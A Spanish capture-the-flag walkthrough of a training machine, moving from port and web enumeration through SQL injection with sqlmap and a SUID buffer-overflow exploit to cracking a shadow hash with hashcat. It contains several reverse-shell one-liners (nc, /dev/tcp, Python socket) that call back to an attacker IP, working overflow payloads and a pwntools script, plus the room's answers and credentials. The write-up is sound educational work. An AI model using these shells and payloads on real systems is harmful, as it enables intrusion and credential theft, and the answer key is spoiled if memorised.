Esta habitación asume un conocimiento de test de penetración básico, porque no entrará a demasiado detalle con cada herramienta. Algún interés o experiencia en ensamblador también está recomendada.

Enumeración del objetivo

El primer paso es ver, como siempre, qué puertos y servicios está corriendo en la máquina objetivo.

La herramienta recomendada es Nmap y estas son las opciones útiles.

-p Especifica el rango de puertos a escanear ej: -p 1-1000
-sC Ejecuta scripts por defecto en el puerto, útiles para un análisis básico del servicio.
-A Modo agresivo, ve a por todas y trata de obtener la máxima información posible.

Lo vamos a hacer con Rustscan, por aquello de no morir de viejo y de que podemos pasar las opciones de Nmap de todos modos tras –

rustscan -a IP_Objetivo -- -A

¿Cuántos puertos hay abiertos en la máquina objetivo? 22 (ssh) y 80 (http)

2

¿Cuál es el http-title del servidor web?

Apache2 Ubuntu Default Page: It works

¿Cuál es la versión del servicio ssh?

OpenSSH 7.2p2 Ubuntu 4ubuntu2.8

¿Cuál es la versión del servidor web?

Apache/2.4.18

Enumeración web

Ya que solo corren SSH y Apache, no es descabellado asumir que deberíamos chequear el servidor web primero, para encontrar posible vulnerabilidades. Una de las primeras cosas a hacer es ver qué páginas hay disponibles para acceder a dicho servidor web.

La herramienta recomendada es Gobuster y estas son algunas de las opciones más útiles.

Useful flags:

-x Para especificar extensiones de archivos “php,tst.html”
–url Para especificar la web a enumerar, también sirve -u
–wordlist Para especificar la lista de palabras a usar para comprobar si existen rutas de páginas web.
gobuster dir -u IP_Objetivo -x html,php,txt -w /usr/share/wordlists/dirb/common.txt

¿Cuál es el nombre del archivo importante en el servidor?

administrator.php

Explotación web

La página de administración nos da un formulario de autenticación. En situaciones como esta, siempre merece la pena buscar fruta madura. En el caso de este tipo de formularios, una de las primeras cosas a comprobar es si podemos hacer inyección SQL.

La herramienta que nos recomienda es SQLMap.

Opciones útiles

-u Especifica la página a atacar
–forms Selecciona automáticamente los parámetros de los elementos form de la página
–dump Vuelca datos de la base de datos una vez ha encontrado una inyección SQL.
-a Consigue todo lo que pueda de la base de datos.
sqlmap -u IP_Objetivo/administrator.php --forms --dump

Respondemos que sí (Y) cuando nos pregunta si queremos probar el formulario, así como otras cuestiones, y esperamos.

¿Cuál es el nombre del administrador?

pingudad

¿Cuál es la contraseña del administador?

secretpass

¿A cuántas formas de SQLi es vulnerable el formulario? (Subimos un poco hacia arriba y miramos tipos de inyección)

3

Ejecución de comandos

Nos identificamos y parece que hemos ganado la habilidad de ejecutar comandos. Vamos a correr unos pocos para tratar de ganar acceso.

Método 1. Shell inversa con Netcat

En esta máquina tenemos Netcat (nc), una herramienta que permite realizar y recibir conexiones y enviar datos. Es una de las herramientas más populares para obtener una shell inversa.

Algunos de los mejores sitios para encontrar payloads de shell son highoncoffee y Pentestmonkey.

Después de esto, tendremos que hacer enumeración adicional para encontrar la llave ssh de pingu, o la contraseña oculta.

Método 2. Contraseñas ocultas

En esta máquina, el usuario tiene la contraseña escondida guardada en alguna parte, no recuerda donde, así que habrá que usar el comando find para buscar qué archivos pertenecen al usuario.

Vamos a conseguir esa shell con Netcat. Primero, configuro un escuchador en mi máquina de ataque o no recibiré comunicación de consola alguna.

nc -lvnp 4000

Ahora, en la ejecución de comandos de la web, uso una fórmula de highoncoffee para obtener esa shell inversa.

/bin/sh | nc IP_Ataque 4000 # Esta funciona, pero se corta
nc -e /bin/sh IP_Objetivo 4000 # Esta no funciona, la versión de nc debe ser nueva y no permitir la opción -e de ejecutar
rm -f /tmp/p; mknod /tmp/p p && nc Ip_Ataque 4000 0/tmp/p # También recibe y se corta

Debido a los cortes, trato de obtener otra shell por bash, usando:

0<&196;exec 196<>/dev/tcp/IP_Ataque/4000; sh <&196 >&196 2>&196 # Pero tampoco funciona

Los dos métodos me fallan, ¿qué puedo hacer? Voy a tratar de subir una shell php y ejecutarla, pero si hago:

ls -ld ./ # Para comprobar permisos del directorio en el que estoy

Me dice que el directorio pertenece a root, no tengo permisos de escritura, así que subir una shell.php ahí no me va a dejar.

No obstante, no entremos en pánico, podría tratar de subir un binario de Netcat a /tmp o algo así, pero puedo responder las preguntas sin conseguir una shell, simplemente ejecutando comandos aquí.

Al final, obtener una shell por Python sí se queda más o menos estable.

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP_Ataque",4000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

¿Cuántos archivos hay en el directorio actual? (ejecuto ls -l)

3

¿Tengo todavía una cuenta? (leo /etc/passwd con cat y sigue habiendo un usuario pingu en el sistema)

yes

¿Cuál es mi contraseña de ssh? Si ejecutamos:

find / -type f -user pingu 2>/dev/null

Encuentra el id_rsa en el directorio ~/.ssh pero copiar y pegar en un archivo y usarlo por ssh me sigue pidiendo contraseña, así que nada.

find / -type f -iname "pass*" 2>/dev/null

Me encuentra varios archivos y uno de ellos es /var/hidden/pass y eso no es normal, así que lo leo.

pinguapingu

Linenum

Es un script de bash que busca posibles formas de elevar privilegios. Es muy popular y debería ser una de las primeras cosas a probar para ver si hay modo de mejorar dichos privilegios.

Descargamos Linenum de Github.

Ahora que tenemos la contraseña de ssh, podríamos copiar con scp y, suponiendo que estemos en el directorio donde tenemos linenum.sh y queriendo ponerlo en el directorio /tmp que siempre me permite cambiar permisos y maniobrar bien, hacemos.

scp ./linenum.sh pingu@IP_Objetivo:/tmp

Ahora me conecto por ssh:

ssh pingu@IP_Objetivo

Otra forma de subir sería creando un servidor web en mi máquina de ataque, dentro del directorio donde tengo linenum.sh

python3 -m http.server 8000

Y luego, conectar por ssh a la máquina víctima, trayendo el archivo con wget.

wget Ip_Ataque:8000/linenum.sh -O /tmp/linenum.sh

Sea como sea, nos vamos a /tmp y le damos permisos de ejecución antes de correr el script.

cd /tmp
chmod +x ./linenum.sh
./linenum.sh

¿Cuál es la ruta al archivo interesante que tiene un bit SUID? (Hay uno que no encaja demasiado al no ser habitual)

/opt/secret/root

Pwndbg

Afortunadamente, en este escenario, el usuario pudo hacerse con una copia del código fuente de un USB de su padre, que se supone que es el que ha tomado control del ordenador.

#include "unistd.h"
#include "stdio.h"
#include "stdlib.h"
void shell(){
setuid(1000);
setgid(1000);
system("cat /var/backups/shadow.bak");
}

void get_input(){
char buffer[32];
scanf("%s",buffer);
}

int main(){
get_input();
}

El archivo SUID espera un input de 32 caracteres y luego sale inmediatamente. Esto merece investigar más a fondo.

Por suerte, el usuario estaba investigando explotación de binarios cuando usaba ese PC, de manera que tiene herramientas preinstaladas para examinar. Una de ellas es pwndbg, un plugin para GDB que permite examinar mejor archivos binarios.

Si corremos:

gdb /opt/secret/root

Podremos ver algo similar a esto.

pwndbg output

Eso significa que pwndbg se ha iniciado correctamente. El siguiente paso es probar si ocurre algo cuando envías más de 32 caracteres. Para hacer esto, ejecuta:

r < <(cyclic 50)

Ese comando corre el programa y provee 50 caracteres de input «cíclico»-

El input cíclico es así: «aaaaaaaabaaacaaadaaaeaaaf», etc. Como es cíclico, nos permite comprender mejor el control que tenemos sobre ciertos registradores, por razones que ahora veremos.

Una vez ejecutemos ese comando, podremos ver algo como esto.

registradores

Aquí es donde ese conocimiento de ensamblador nos ayudaría.

Parece que en este caso somos capaces de sobreescribir EIP, que es conocido como puntero de instrucción. El puntero de instrucción le dice al programa que bit de memoria ejecutar a continuación, que en un caso ideal sería tener al programa corriendo normalmente.

Sin embargo, ya que somos capaces de sobreescribirlo, podemos, en teoría, ejecutar cualquier parte del programa en cualquier momento.

Recuerda la función shell del código fuente, si podemos sobreescribir EIP para apuntar a la función shell, podemos hacer que se ejecute.

Aquí es donde los beneficios del input cíclico se muestran. Recordemos que el input cíclico va en secuencias de 4 caracteres/byte, lo que significa que somos capaces de calcular exactamente cuántos caracteres necesitamos proveer antes de poder sobreescribir EIP.

Por suerte, cyclic provee esta funcionalidad con la opción -l, así que correr:

cyclic -l

Nos va a decir cuántos caracteres necesitamos suministrar para poder sobreescribir EIP. Correr.

cyclic -l 0x6161616x

Da como resultado 44, lo que significa que podemos sobreescribir EIP una vez proveamos 44 caracteres de input. Eso es todo lo que necesitamos para la pre-explotación.

Explotación de binario: Manual

Nos hemos figurado que necesitamos proveer 44 caracteres de input y podemos ejecutar la parte del programa que queramos.

El siguiente paso es encontrar, exactamente, dónde está la función shell en la memoria, de manera que sepamos cómo configurar EIP.

GBD soporta esto también con el commando disassemble.

Escribimos

disassemble shell

Y esto es lo que debería aparecer.

pwndbg

Lo que nos interesa son las direcciones de memoria hexadecimales. Lo que sabemos es que todo lo que debemos hacer es proveer 44 caracteres y luego «0x080484cb» y la función debería ejecutarse.

Las arquitecturas modernas de CPU son little endian, lo que significa que los bytes están al revés. 0x080484cb sería cb080484.

Podemos usar python para esto, ya que permite una buena manera de convertir.

Método 1. Conversión manual

python -c 'print "A"*44 + "\xcb\x84\x04\x08"'

Nos dará el payload que queremos, pero requiere conversión manual a little endian.

Método 2. Struct

python -c 'import struct;print "A"*44 + struct.pack("<I",0x080484cb)'

Requiere importar un módulo pero struct.pack nos permite convertir automáticamente la memoria a little endian.

Imprimimos 44 caracteres aleatorios (en este caso A) y luego nuestra dirección de memoria en little endian, de modo que se debería ejecutar la shell.

Esto puede probarse haciendo pipe del resultado al binario. Salimos de pwndbg (con quit) y ejecutamos:

python -c 'print "A"*44 + "\xcb\x84\x04\x08"' | /opt/secret/root

Nos debería dar.

pwndbg

Y ya lo tendríamos.

Explotación de binario, el método pwntools

Pwntools es una librería Python dedicada a hacer todo lo anterior de manera mucho más simple. Pero como es una librería, requiere de conocimiento de Python para sacarle todo el potencial.

Lo vamos a hacer con un script de Python.

Empezamos así.

from pwn import *
proc = process('/opt/secret/root')

Esto importa las utilidades de la librería pwntools y luego crea un proceso con el podremos interactuar mediante funciones de pwntools.

Sabemos la dirección de memoria de la función shell, y pwntools nos provee de una manera de obtener eso con ELF().

ELF nos permite obtener varias direcciones de memoria de puntos importantes en nuestro binario, incluyendo la dirección de memoria de la función shell.

Con la adición de ELF, nuestro script quedaría:

from pwn import *
proc = process('/opt/secret/root')
elf = ELF('/opt/secret/root')
shell_func = elf.symbols.shell

shell_func guarda la dirección de memoria de nuestra función shell. Ahora necesitamos una manera de crear el payload, por suerte, pwntools lo permite con fit().

Fit nos permite crear ese payload combinando caracteres y nuestra dirección de memoria. Para enviar el payload podemos usar un método en nuestra variable: proc.sendline(), que enviar los datos que queramos al binario.

Finalmente, podemos usar proc.interactive() para el ver el resultado completo del proceso.

Así, nuestro script quedaría:

from pwn import *
proc = process('/opt/secret/root')
elf = ELF('/opt/secret/root')
shell_func = elf.symbols.shell
payload = fit({
44: shell_func # this adds the value of shell_func after 44 characters
})
proc.sendline(payload)
proc.interactive()

Lo guardamos en un archivo .py y lo ejecutamos, lo que debería dar este resultado.

pwndbg

Terminando el trabajo

Ahora que tenemos los hashes de las contraseñas, podemos romperlos para obtener la contraseña de administrador. Recordemos que, partiendo de los resultados previos, el hash es:

$6$rFK4s/vE$zkh2/RBiRZ746OW3/Q/zqTRVfrfYJfFjFc2/q.oYtoF1KglS3YWoExtT3cvA3ml9UtDS8PFzCk902AsWx00Ck.

Por suerte, hashcat soporta hashes de contraseñas Linux. Puedes encontrar la lista de modos de hashcat aquí.

Trataremos de romper con la lista rockyou, que puedes encontrar aquí si no está en el sistema ya.

La instrucción sería:

hashcat -m 1800 -a 0 hash.txt rockyou.txt
  • -m es el modo del hash, en este caso, 1800 por ser contraseña de Linux
  • -a es el modo de ataque, el 0 es ataque de diccionario con la lista rockyou.txt

¿Cuál es la contraseña de administrador?

love2fish